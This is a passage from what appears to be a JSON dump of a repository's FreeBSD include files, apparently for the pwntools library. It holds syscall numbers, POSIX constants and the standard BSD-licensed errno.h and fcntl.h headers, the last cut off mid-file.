SYS_sigwait 429\n#define SYS_thr_create 430\n#define SYS_thr_exit 431\n#define SYS_thr_self 432\n#define SYS_thr_kill 433\n#define SYS__umtx_lock 434\n#define SYS__umtx_unlock 435\n#define SYS_jail_attach 436\n#define SYS_extattr_list_fd 437\n#define SYS_extattr_list_file 438\n#define SYS_extattr_list_link 439\n#define SYS_ksem_timedwait 441\n#define SYS_thr_suspend 442\n#define SYS_thr_wake 443\n#define SYS_kldunloadf 444\n#define SYS_audit 445\n#define SYS_auditon 446\n#define SYS_getauid 447\n#define SYS_setauid 448\n#define SYS_getaudit 449\n#define SYS_setaudit 450\n#define SYS_getaudit_addr 451\n#define SYS_setaudit_addr 452\n#define SYS_auditctl 453\n#define SYS__umtx_op 454\n#define SYS_thr_new 455\n#define SYS_sigqueue 456\n#define SYS_kmq_open 457\n#define SYS_kmq_setattr 458\n#define SYS_kmq_timedreceive 459\n#define SYS_kmq_timedsend 460\n#define SYS_kmq_notify 461\n#define SYS_kmq_unlink 462\n#define SYS_abort2 463\n#define SYS_thr_set_name 464\n#define SYS_aio_fsync 465\n#define SYS_rtprio_thread 466\n#define SYS_sctp_peeloff 471\n#define SYS_sctp_generic_sendmsg 472\n#define SYS_sctp_generic_sendmsg_iov 473\n#define SYS_sctp_generic_recvmsg 474\n#define SYS_pread 475\n#define SYS_pwrite 476\n#define SYS_mmap 477\n#define SYS_lseek 478\n#define SYS_truncate 479\n#define SYS_ftruncate 480\n#define SYS_thr_kill2 481\n#define SYS_shm_open 482\n#define SYS_shm_unlink 483\n#define SYS_cpuset 484\n#define SYS_cpuset_setid 485\n#define SYS_cpuset_getid 486\n#define SYS_cpuset_getaffinity 487\n#define SYS_cpuset_setaffinity 488\n#define SYS_faccessat 489\n#define SYS_fchmodat 490\n#define SYS_fchownat 491\n#define SYS_fexecve 492\n#define SYS_fstatat 493\n#define SYS_futimesat 494\n#define SYS_linkat 495\n#define SYS_mkdirat 496\n#define SYS_mkfifoat 497\n#define SYS_mknodat 498\n#define SYS_openat 499\n#define SYS_readlinkat 500\n#define SYS_renameat 501\n#define SYS_symlinkat 502\n#define SYS_unlinkat 503\n#define SYS_posix_openpt 504\n#define SYS_gssd_syscall 505\n#define SYS_jail_get 506\n#define SYS_jail_set 507\n#define SYS_jail_remove 508\n#define SYS_closefrom 509\n#define SYS___semctl 510\n#define SYS_msgctl 511\n#define SYS_shmctl 512\n#define SYS_lpathconf 513\n#define SYS_cap_new 514\n#define SYS_cap_getrights 515\n#define SYS_cap_enter 516\n#define SYS_cap_getmode 517\n#define SYS_pdfork 518\n#define SYS_pdkill 519\n#define SYS_pdgetpid 520\n#define SYS_pselect 522\n#define SYS_getloginclass 523\n#define SYS_setloginclass 524\n#define SYS_rctl_get_racct 525\n#define SYS_rctl_get_rules 526\n#define SYS_rctl_get_limits 527\n#define SYS_rctl_add_rule 528\n#define SYS_rctl_remove_rule 529\n#define SYS_posix_fallocate 530\n#define SYS_posix_fadvise 531\n#define SYS_wait6 532\n#define SYS_MAXSYSCALL 533\n#define _POSIX_ADVISORY_INFO 200112\n#define _POSIX_ASYNCHRONOUS_IO 0\n#define _POSIX_CHOWN_RESTRICTED 1\n#define _POSIX_CLOCK_SELECTION (-1)\n#define _POSIX_CPUTIME (-1)\n#define _POSIX_FSYNC 200112\n#define _POSIX_IPV6 0\n#define _POSIX_JOB_CONTROL 1\n#define _POSIX_MAPPED_FILES 200112\n#define _POSIX_MEMLOCK (-1)\n#define _POSIX_MEMLOCK_RANGE 200112\n#define _POSIX_MEMORY_PROTECTION 200112\n#define _POSIX_MESSAGE_PASSING 200112\n#define _POSIX_MONOTONIC_CLOCK 200112\n#define _POSIX_NO_TRUNC 1\n#define _POSIX_PRIORITIZED_IO (-1)\n#define _POSIX_PRIORITY_SCHEDULING 200112\n#define _POSIX_RAW_SOCKETS 200112\n#define _POSIX_REALTIME_SIGNALS 200112\n#define _POSIX_SEMAPHORES 200112\n#define _POSIX_SHARED_MEMORY_OBJECTS 200112\n#define _POSIX_SPORADIC_SERVER (-1)\n#define _POSIX_SYNCHRONIZED_IO (-1)\n#define _POSIX_TIMEOUTS 200112\n#define _POSIX_TIMERS 200112\n#define _POSIX_TYPED_MEMORY_OBJECTS (-1)\n#define _POSIX_VDISABLE 0xff\n#define _XOPEN_SHM 1\n#define _XOPEN_STREAMS (-1)\n#define _POSIX_VERSION 200112\n#define F_OK 0\n#define X_OK 0x01\n#define W_OK 0x02\n#define R_OK 0x04\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define SEEK_DATA 3\n#define SEEK_HOLE 4\n#define L_SET 0\n#define L_INCR 1\n#define L_XTND 2\n#define _PC_LINK_MAX 1\n#define _PC_MAX_CANON 2\n#define _PC_MAX_INPUT 3\n#define _PC_NAME_MAX 4\n#define _PC_PATH_MAX 5\n#define _PC_PIPE_BUF 6\n#define _PC_CHOWN_RESTRICTED 7\n#define _PC_NO_TRUNC 8\n#define _PC_VDISABLE 9\n#define _PC_ASYNC_IO 53\n#define _PC_PRIO_IO 54\n#define _PC_SYNC_IO 55\n#define _PC_ALLOC_SIZE_MIN 10\n#define _PC_FILESIZEBITS 12\n#define _PC_REC_INCR_XFER_SIZE 14\n#define _PC_REC_MAX_XFER_SIZE 15\n#define _PC_REC_MIN_XFER_SIZE 16\n#define _PC_REC_XFER_ALIGN 17\n#define _PC_SYMLINK_MAX 18\n#define _PC_ACL_EXTENDED 59\n#define _PC_ACL_PATH_MAX 60\n#define _PC_CAP_PRESENT 61\n#define _PC_INF_PRESENT 62\n#define _PC_MAC_PRESENT 63\n#define _PC_ACL_NFS4 64\n#define _PC_MIN_HOLE_SIZE 21\n#define RFNAMEG (1<<0)\n#define RFENVG (1<<1)\n#define RFFDG (1<<2)\n#define RFNOTEG (1<<3)\n#define RFPROC (1<<4)\n#define RFMEM (1<<5)\n#define RFNOWAIT (1<<6)\n#define RFCNAMEG (1<<10)\n#define RFCENVG (1<<11)\n#define RFCFDG (1<<12)\n#define RFTHREAD (1<<13)\n#define RFSIGSHARE (1<<14)\n#define RFLINUXTHPN (1<<16)\n#define RFSTOPPED (1<<17)\n#define RFHIGHPID (1<<18)\n#define RFTSIGZMB (1<<19)\n#define RFTSIGSHIFT 20\n#define RFTSIGMASK 0xFF\n#define RFPROCDESC (1<<28)\n#define RFPPWAIT (1<<31)\n#define RFFLAGS ((1<<2) | (1<<4) | (1<<5) | (1<<6) | (1<<12) |      (1<<13) | (1<<14) | (1<<16) | (1<<17) | (1<<18) | (1<<19) |      (1<<28) | (1<<31))\n#define RFKERNELONLY ((1<<17) | (1<<18) | (1<<31) | (1<<28))\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/common.h",
    "content": "#define\tSTDIN_FILENO\t0\t/* standard input file descriptor */\n#define\tSTDOUT_FILENO\t1\t/* standard output file descriptor */\n#define\tSTDERR_FILENO\t2\t/* standard error file descriptor */\n\n#define __BSD_VISIBLE 99999999\n#define __POSIX_VISIBLE 99999999\n#define __XSI_VISIBLE 99999999\n\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n\n#include <sys/errno.h>\n#include <sys/fcntl.h>\n#include <sys/mman.h>\n#include <sys/signal.h>\n#include <sys/socket.h>\n#include <sys/stat.h>\n#include <sys/syscall.h>\n#include <sys/unistd.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/machine/_align.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/machine/_limits.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/machine/signal.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/_iovec.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/_sigset.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/_sockaddr_storage.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/_timespec.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/_types.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/cdefs.h",
    "content": ""
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/errno.h",
    "content": "/*-\n * Copyright (c) 1982, 1986, 1989, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n * (c) UNIX System Laboratories, Inc.\n * All or some portions of this file are derived from material licensed\n * to the University of California by American Telephone and Telegraph\n * Co. or Unix System Laboratories, Inc. and are reproduced herein with\n * the permission of UNIX System Laboratories, Inc.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)errno.h\t8.5 (Berkeley) 1/21/94\n * $FreeBSD$\n */\n\n#ifndef _SYS_ERRNO_H_\n#define _SYS_ERRNO_H_\n\n#ifndef _KERNEL\n#include <sys/cdefs.h>\n__BEGIN_DECLS\nint *\t__error(void);\n__END_DECLS\n#define\terrno\t\t(* __error())\n#endif\n\n#define\tEPERM\t\t1\t\t/* Operation not permitted */\n#define\tENOENT\t\t2\t\t/* No such file or directory */\n#define\tESRCH\t\t3\t\t/* No such process */\n#define\tEINTR\t\t4\t\t/* Interrupted system call */\n#define\tEIO\t\t5\t\t/* Input/output error */\n#define\tENXIO\t\t6\t\t/* Device not configured */\n#define\tE2BIG\t\t7\t\t/* Argument list too long */\n#define\tENOEXEC\t\t8\t\t/* Exec format error */\n#define\tEBADF\t\t9\t\t/* Bad file descriptor */\n#define\tECHILD\t\t10\t\t/* No child processes */\n#define\tEDEADLK\t\t11\t\t/* Resource deadlock avoided */\n\t\t\t\t\t/* 11 was EAGAIN */\n#define\tENOMEM\t\t12\t\t/* Cannot allocate memory */\n#define\tEACCES\t\t13\t\t/* Permission denied */\n#define\tEFAULT\t\t14\t\t/* Bad address */\n#ifndef _POSIX_SOURCE\n#define\tENOTBLK\t\t15\t\t/* Block device required */\n#endif\n#define\tEBUSY\t\t16\t\t/* Device busy */\n#define\tEEXIST\t\t17\t\t/* File exists */\n#define\tEXDEV\t\t18\t\t/* Cross-device link */\n#define\tENODEV\t\t19\t\t/* Operation not supported by device */\n#define\tENOTDIR\t\t20\t\t/* Not a directory */\n#define\tEISDIR\t\t21\t\t/* Is a directory */\n#define\tEINVAL\t\t22\t\t/* Invalid argument */\n#define\tENFILE\t\t23\t\t/* Too many open files in system */\n#define\tEMFILE\t\t24\t\t/* Too many open files */\n#define\tENOTTY\t\t25\t\t/* Inappropriate ioctl for device */\n#ifndef _POSIX_SOURCE\n#define\tETXTBSY\t\t26\t\t/* Text file busy */\n#endif\n#define\tEFBIG\t\t27\t\t/* File too large */\n#define\tENOSPC\t\t28\t\t/* No space left on device */\n#define\tESPIPE\t\t29\t\t/* Illegal seek */\n#define\tEROFS\t\t30\t\t/* Read-only filesystem */\n#define\tEMLINK\t\t31\t\t/* Too many links */\n#define\tEPIPE\t\t32\t\t/* Broken pipe */\n\n/* math software */\n#define\tEDOM\t\t33\t\t/* Numerical argument out of domain */\n#define\tERANGE\t\t34\t\t/* Result too large */\n\n/* non-blocking and interrupt i/o */\n#define\tEAGAIN\t\t35\t\t/* Resource temporarily unavailable */\n#ifndef _POSIX_SOURCE\n#define\tEWOULDBLOCK\tEAGAIN\t\t/* Operation would block */\n#define\tEINPROGRESS\t36\t\t/* Operation now in progress */\n#define\tEALREADY\t37\t\t/* Operation already in progress */\n\n/* ipc/network software -- argument errors */\n#define\tENOTSOCK\t38\t\t/* Socket operation on non-socket */\n#define\tEDESTADDRREQ\t39\t\t/* Destination address required */\n#define\tEMSGSIZE\t40\t\t/* Message too long */\n#define\tEPROTOTYPE\t41\t\t/* Protocol wrong type for socket */\n#define\tENOPROTOOPT\t42\t\t/* Protocol not available */\n#define\tEPROTONOSUPPORT\t43\t\t/* Protocol not supported */\n#define\tESOCKTNOSUPPORT\t44\t\t/* Socket type not supported */\n#define\tEOPNOTSUPP\t45\t\t/* Operation not supported */\n#define\tENOTSUP\t\tEOPNOTSUPP\t/* Operation not supported */\n#define\tEPFNOSUPPORT\t46\t\t/* Protocol family not supported */\n#define\tEAFNOSUPPORT\t47\t\t/* Address family not supported by protocol family */\n#define\tEADDRINUSE\t48\t\t/* Address already in use */\n#define\tEADDRNOTAVAIL\t49\t\t/* Can't assign requested address */\n\n/* ipc/network software -- operational errors */\n#define\tENETDOWN\t50\t\t/* Network is down */\n#define\tENETUNREACH\t51\t\t/* Network is unreachable */\n#define\tENETRESET\t52\t\t/* Network dropped connection on reset */\n#define\tECONNABORTED\t53\t\t/* Software caused connection abort */\n#define\tECONNRESET\t54\t\t/* Connection reset by peer */\n#define\tENOBUFS\t\t55\t\t/* No buffer space available */\n#define\tEISCONN\t\t56\t\t/* Socket is already connected */\n#define\tENOTCONN\t57\t\t/* Socket is not connected */\n#define\tESHUTDOWN\t58\t\t/* Can't send after socket shutdown */\n#define\tETOOMANYREFS\t59\t\t/* Too many references: can't splice */\n#define\tETIMEDOUT\t60\t\t/* Operation timed out */\n#define\tECONNREFUSED\t61\t\t/* Connection refused */\n\n#define\tELOOP\t\t62\t\t/* Too many levels of symbolic links */\n#endif /* _POSIX_SOURCE */\n#define\tENAMETOOLONG\t63\t\t/* File name too long */\n\n/* should be rearranged */\n#ifndef _POSIX_SOURCE\n#define\tEHOSTDOWN\t64\t\t/* Host is down */\n#define\tEHOSTUNREACH\t65\t\t/* No route to host */\n#endif /* _POSIX_SOURCE */\n#define\tENOTEMPTY\t66\t\t/* Directory not empty */\n\n/* quotas & mush */\n#ifndef _POSIX_SOURCE\n#define\tEPROCLIM\t67\t\t/* Too many processes */\n#define\tEUSERS\t\t68\t\t/* Too many users */\n#define\tEDQUOT\t\t69\t\t/* Disc quota exceeded */\n\n/* Network File System */\n#define\tESTALE\t\t70\t\t/* Stale NFS file handle */\n#define\tEREMOTE\t\t71\t\t/* Too many levels of remote in path */\n#define\tEBADRPC\t\t72\t\t/* RPC struct is bad */\n#define\tERPCMISMATCH\t73\t\t/* RPC version wrong */\n#define\tEPROGUNAVAIL\t74\t\t/* RPC prog. not avail */\n#define\tEPROGMISMATCH\t75\t\t/* Program version wrong */\n#define\tEPROCUNAVAIL\t76\t\t/* Bad procedure for program */\n#endif /* _POSIX_SOURCE */\n\n#define\tENOLCK\t\t77\t\t/* No locks available */\n#define\tENOSYS\t\t78\t\t/* Function not implemented */\n\n#ifndef _POSIX_SOURCE\n#define\tEFTYPE\t\t79\t\t/* Inappropriate file type or format */\n#define\tEAUTH\t\t80\t\t/* Authentication error */\n#define\tENEEDAUTH\t81\t\t/* Need authenticator */\n#define\tEIDRM\t\t82\t\t/* Identifier removed */\n#define\tENOMSG\t\t83\t\t/* No message of desired type */\n#define\tEOVERFLOW\t84\t\t/* Value too large to be stored in data type */\n#define\tECANCELED\t85\t\t/* Operation canceled */\n#define\tEILSEQ\t\t86\t\t/* Illegal byte sequence */\n#define\tENOATTR\t\t87\t\t/* Attribute not found */\n\n#define\tEDOOFUS\t\t88\t\t/* Programming error */\n#endif /* _POSIX_SOURCE */\n\n#define\tEBADMSG\t\t89\t\t/* Bad message */\n#define\tEMULTIHOP\t90\t\t/* Multihop attempted */\n#define\tENOLINK\t\t91\t\t/* Link has been severed */\n#define\tEPROTO\t\t92\t\t/* Protocol error */\n\n#ifndef _POSIX_SOURCE\n#define\tENOTCAPABLE\t93\t\t/* Capabilities insufficient */\n#define\tECAPMODE\t94\t\t/* Not permitted in capability mode */\n#endif /* _POSIX_SOURCE */\n\n#ifndef _POSIX_SOURCE\n#define\tELAST\t\t94\t\t/* Must be equal largest errno */\n#endif /* _POSIX_SOURCE */\n\n#ifdef _KERNEL\n/* pseudo-errors returned inside kernel to modify return to process */\n#define\tERESTART\t(-1)\t\t/* restart syscall */\n#define\tEJUSTRETURN\t(-2)\t\t/* don't modify regs, just return */\n#define\tENOIOCTL\t(-3)\t\t/* ioctl not handled by this layer */\n#define\tEDIRIOCTL\t(-4)\t\t/* do direct ioctl in GEOM */\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/fcntl.h",
    "content": "/*-\n * Copyright (c) 1983, 1990, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n * (c) UNIX System Laboratories, Inc.\n * All or some portions of this file are derived from material licensed\n * to the University of California by American Telephone and Telegraph\n * Co. or Unix System Laboratories, Inc. and are reproduced herein with\n * the permission of UNIX System Laboratories, Inc.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)fcntl.h\t8.3 (Berkeley) 1/21/94\n * $FreeBSD$\n */\n\n#ifndef _SYS_FCNTL_H_\n#define\t_SYS_FCNTL_H_\n\n/*\n * This file includes the definitions for open and fcntl\n * described by POSIX for <fcntl.h>; it also includes\n * related kernel definitions.\n */\n\n#include <sys/cdefs.h>\n#include <sys/_types.h>\n\n#ifndef _MODE_T_DECLARED\ntypedef\t__mode_t\tmode_t;\n#define\t_MODE_T_DECLARED\n#endif\n\n#ifndef _OFF_T_DECLARED\ntypedef\t__off_t\t\toff_t;\n#define\t_OFF_T_DECLARED\n#endif\n\n#ifndef _PID_T_DECLARED\ntypedef\t__pid_t\t\tpid_t;\n#define\t_PID_T_DECLARED\n#endif\n\n/*\n * File status flags: these are used by open(2), fcntl(2).\n * They are also used (indirectly) in the kernel file structure f_flags,\n * which is a superset of the open/fcntl flags.  Open flags and f_flags\n * are inter-convertible using OFLAGS(fflags) and FFLAGS(oflags).\n * Open/fcntl flags begin with O_; kernel-internal flags begin with F.\n */\n/* open-only flags */\n#define\tO_RDONLY\t0x0000\t\t/* open for reading only */\n#define\tO_WRONLY\t0x0001\t\t/* open for writing only */\n#define\tO_RDWR\t\t0x0002\t\t/* open for reading and writing */\n#define\tO_ACCMODE\t0x0003\t\t/* mask for above modes */\n\n/*\n * Kernel encoding of open mode; separate read and write bits that are\n * independently testable: 1 greater than the above.\n *\n * XXX\n * FREAD and FWRITE are excluded from the #ifdef _KERNEL so that TIOCFLUSH,\n * which was documented to use FREAD/FWRITE, continues to work.\n */\n#if __BSD_VISIBLE\n#define\tFREAD\t\t0x0001\n#define\tFWRITE\t\t0x0002\n#endif\n#define\tO_NONBLOCK\t0x0004\t\t/* no delay */\n#define\tO_APPEND\t0x0008\t\t/* set append mode */\n#if __BSD_VISIBLE\n#define\tO_SHLOCK\t0x0010\t\t/* open with shared file lock */\n#define\tO_EXLOCK\t0x0020\t\t/* open with exclusive file lock */\n#define\tO_ASYNC\t\t0x0040\t\t/* signal pgrp when data ready */\n#define\tO_FSYNC\t\t0x0080\t\t/* synchronous writes */\n#endif\n#define\tO_SYNC\t\t0x0080\t\t/* POSIX synonym for O_FSYNC */\n#if __BSD_VISIBLE\n#define\tO_NOFOLLOW\t0x0100\t\t/* don't follow symlinks */\n#endif\n#define\tO_CREAT\t\t0x0200\t\t/* create if nonexistent */\n#define\tO_TRUNC\t\t0x0400\t\t/* truncate to zero length */\n#define\tO_EXCL\t\t0x0800\t\t/* error if already exists */\n#ifdef _KERNEL\n#define\tFHASLOCK\t0x4000\t\t/* descriptor holds advisory lock */\n#endif\n\n/* Defined by POSIX 1003.1; BSD default, but must be distinct from O_RDONLY. */\n#define\tO_NOCTTY\t0x8000\t\t/* don't assign controlling terminal */\n\n#if __BSD_VISIBLE\n/* Attempt to bypass buffer cache */\n#define\tO_DIRECT\t0x00010000\n#endif\n\n/* Defined by POSIX Extended API Set Part 2 */\n#if __BSD_VISIBLE\n#define\tO_DIRECTORY\t0x00020000\t/* Fail if not directory */\n#define\tO_EXEC\t\t0x00040000\t/* Open for execute only */\n#endif\n#ifdef\t_KERNEL\n#define\tFEXEC\t\tO_EXEC\n#endif\n\n#if __POSIX_VISIBLE >= 200809\n/* Defined by POSIX 1003.1-2008; BSD default, but reserve for future use. */\n#define\tO_TTY_INIT\t0x00080000\t/* Restore default termios attributes */\n\n#define\tO_CLOEXEC\t0x00100000\n#endif\n\n/*\n * XXX missing O_DSYNC, O_RSYNC.\n */\n\n#ifdef _KERNEL\n/* convert from open() flags to/from fflags; convert O_RD/WR to FREAD/FWRITE */\n#define\tFFLAGS(oflags)\t((oflags) + 1)\n#define\tOFLAGS(fflags)\t((fflags) - 1)\n\n/* bits to save after open */\n#define\tFMASK\t(FREAD|FWRITE|FAPPEND|FASYNC|FFSYNC|FNONBLOCK|O_DIRECT|FEXEC)\n/* bits settable by fcntl(F_SETFL, ...) */\n#define\tFCNTLFLAGS\t(FAPPEND|FASYNC|FFSYNC|FNONBLOCK|FRDAHEAD|O_DIRECT)\n\n#if defined(COMPAT_FREEBSD7) || defined(COMPAT_FREEBSD6) || \\\n    defined(COMPAT_FREEBSD5) || defined(COMPAT_FREEBSD4)\n/*\n * Set by shm_open(3) in older libc's to get automatic MAP_ASYNC\n * behavior for POSIX shared memory objects (which are otherwise\n * implemented as plain files).\n */\n#define\tFPOSIXSHM\tO_NOFOLLOW\n#undef FCNTLFLAGS\n#define\tFCNTLFLAGS\t(FAPPEND|FASYNC|FFSYNC|FNONBLOCK|FPOSIXSHM|FRDAHEAD| \\\n\t\t\t O_DIRECT)\n#endif\n#endif\n\n/*\n * The O_* flags used to have only F* names, which were used in the kernel\n * and by fcntl.  We retain the F* names for the kernel f_flag field\n * and for backward compatibility for fcntl.  These flags are deprecated.\n */\n#if __BSD_VISIBLE\n#define\tFAPPEND\t\tO_APPEND\t/* kernel/compat */\n#define\tFASYNC\t\tO_ASYNC\t\t/* kernel/compat */\n#define\tFFSYNC\t\tO_FSYNC\t\t/* kernel */\n#define\tFNONBLOCK\tO_NONBLOCK\t/* kernel */\n#define\tFNDELAY\t\tO_NONBLOCK\t/* compat */\n#define\tO_NDELAY\tO_NONBLOCK\t/* compat */\n#endif\n\n/*\n * We are out of bits in f_flag (which is a short).  However,\n * the flag bits not set in FMASK are only meaningful in the\n * initial open syscall.  Those bits can thus be given a\n * different meaning for fcntl(2).\n */\n#if __BSD_VISIBLE\n/* Read ahead */\n#define\tFRDAHEAD\tO_CREAT\n#endif\n\n/* Defined by POSIX Extended API Set Part 2 */\n#if __BSD_VISIBLE\n/*\n * Magic value that specify the use of the current working directory\n * to determine the target of relative file paths in the openat() and\n * similar syscalls.\n */\n#define\tAT_FDCWD\t\t-100\n\n/*\n * Miscellaneous flags for the *at() syscalls.\n */\n#define\tAT_EACCESS\t\t0x100\t/* Check access using effective user and group ID */\n#define\tAT_SYMLINK_NOFOLLOW\t0x200   /* Do not follow symbolic links */\n#define\tAT_SYMLINK_FOLLOW\t0x400\t/* Follow symbolic link */\n#define\tAT_REMOVEDIR\t\t0x800\t/* Remove directory instead of file */\n#endif\n\n/*\n * Constants used for fcntl(2)\n */\n\n/* command values */\n#define\tF_DUPFD\t\t0\t\t/* duplicate file descriptor */\n#define\tF_GETFD\t\t1\t\t/* get file descriptor flags */\n#define\tF_SETFD\t\t2\t\t/* set file descriptor flags */\n#define\tF_GETFL\t\t3\t\t/* get file status flags */\n#define\tF_SETFL\t\t4\t\t/* set file status flags */\n#if __BSD_VISIBLE || __XSI_VISIBLE || __POSIX_VISIBLE >= 200112\n#define\tF_GETOWN\t5\t\t/* get SIGIO/SIGURG proc/pgrp */\n#define\tF_SETOWN\t6\t\t/* set SIGIO/SIGURG proc/pgrp */\n#endif\n#if __BSD_VISIBLE\n#define\tF_OGETLK\t7\t\t/* get record locking information */\n#define\tF_OSETLK\t8\t\t/* set record locking information */\n#define\tF_OSETLKW\t9\t\t/* F_SETLK; wait if blocked */\n#define\tF_DUP2FD\t10\t\t/* duplicate file descriptor to arg */\n#endif\n#define\tF_GETLK\t\t11\t\t/* get record locking information */\n#define\tF_SETLK\t\t12\t\t/* set record locking information */\n#define\tF_SETLKW\t13\t\t/* F_SETLK; wait if blocked */\n#if __BSD_VISIBLE\n#define\tF_SETLK_REMOTE\t14\t\t/* debugging support for remote locks */\n#define\tF_READAHEAD\t15\t\t/* read ahead */\n#define\tF_RDAHEAD\t16\t\t/* Darwin compatible read ahead */\n#endif\n#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809\n#define\tF_DUPFD_CLOEXEC\t17\t\t/* Like F_DUPFD, but FD_CLOEXEC is set */\n#endif\n#if __BSD_VISIBLE\n#define\tF_DUP2FD_CLOEXEC 18\t\t/* Like F_DUP2FD, but FD_CLOEXEC is set */\n#endif\n\n/* file descriptor flags (F_GETFD, F_SETFD) */\n#define\tFD_CLOEXEC\t1\t\t/* close-on-exec flag */\n\n/* record locking flags (F_GETLK, F_SETLK, F_SETLKW) */\n#define\tF_RDLCK\t\t1\t\t/* shared or read lock */\n#define\tF_UNLCK\t\t2\t\t/* unlock */\n#define\tF_WRLCK\t\t3\t\t/* exclusive or write lock */\n#if __BSD_VISIBLE\n#define\tF_UNLCKSYS\t4\t\t/* purge locks for a given system ID */\n#define\tF_CANCEL\t5\t\t/* cancel an async lock request */\n#endif\n#ifdef _KERNEL\n#define\tF_WAIT\t\t0x010\t\t/* Wait until lock is granted */\n#define\tF_FLOCK\t\t0x020\t \t/* Use flock(2) semantics for lock */\n#define\tF_POSIX\t\t0x040\t \t/* Use POSIX semantics for lock */\n#define\tF_REMOTE\t0x080\t\t/* Lock owner is remote NFS client */\n#define\tF_NOINTR\t0x100\t\t/* Ignore signals when waiting */\n#endif\n\n/*\n * Advisory file segment locking data type -\n * information passed to system by user\n */\nstruct flock {\n\toff_t\tl_start;\t/* starting offset */\n\toff_t\tl_len;\t\t/* len = 0 means until end of file */\n\tpid_t\tl_pid;\t\t/* lock owner */\n\tshort\tl_type;\t\t/* lock type: read/write, etc. */\n\tshort\tl_whence;\t/* type of l_start */\n\tint\tl_sysid;\t/* remote system id or zero for local */\n};\n\n#if __BSD_VISIBLE\n/*\n * Old advisory file segment locking data type,\n * before adding l_sysid.\n */\nstruct __oflock {\n\toff_t\tl_start;\t/* starting offset */\n\toff_t\tl_len;\t\t/* len = 0 means until end of file */\n\tpid_t\tl_pid;\t\t/* lock owner */\n\tshort\tl_type;\t\t/* lock type: read/write, etc. */\n\tshort\tl_whence;\t/* type of l_start */\n};\n#endif\n\n#if __BSD_VISIBLE\n/* lock operations for flock(2) */\n#define\tLOCK_SH\t\t0x01\t\t/* shared file lock */\n#define\tLOCK_EX\t\t0x02\t\t/* exclusive file lock */\n#define\tLOCK_NB\t\t0x04\t\t/* don't block when locking */\n#define\tLOCK_UN\t\t0x08\t\t/* unlock file */\n#endif\n\n#if __POSIX_VISIBLE >= 200112\n/*\n * Advice to posix_fadvise\n */\n#define\tPOSIX_FADV_NORMAL\t0\t/* no special treatment */\n#define\tPOSIX_FADV_RANDOM\t1\t/* expect random page references 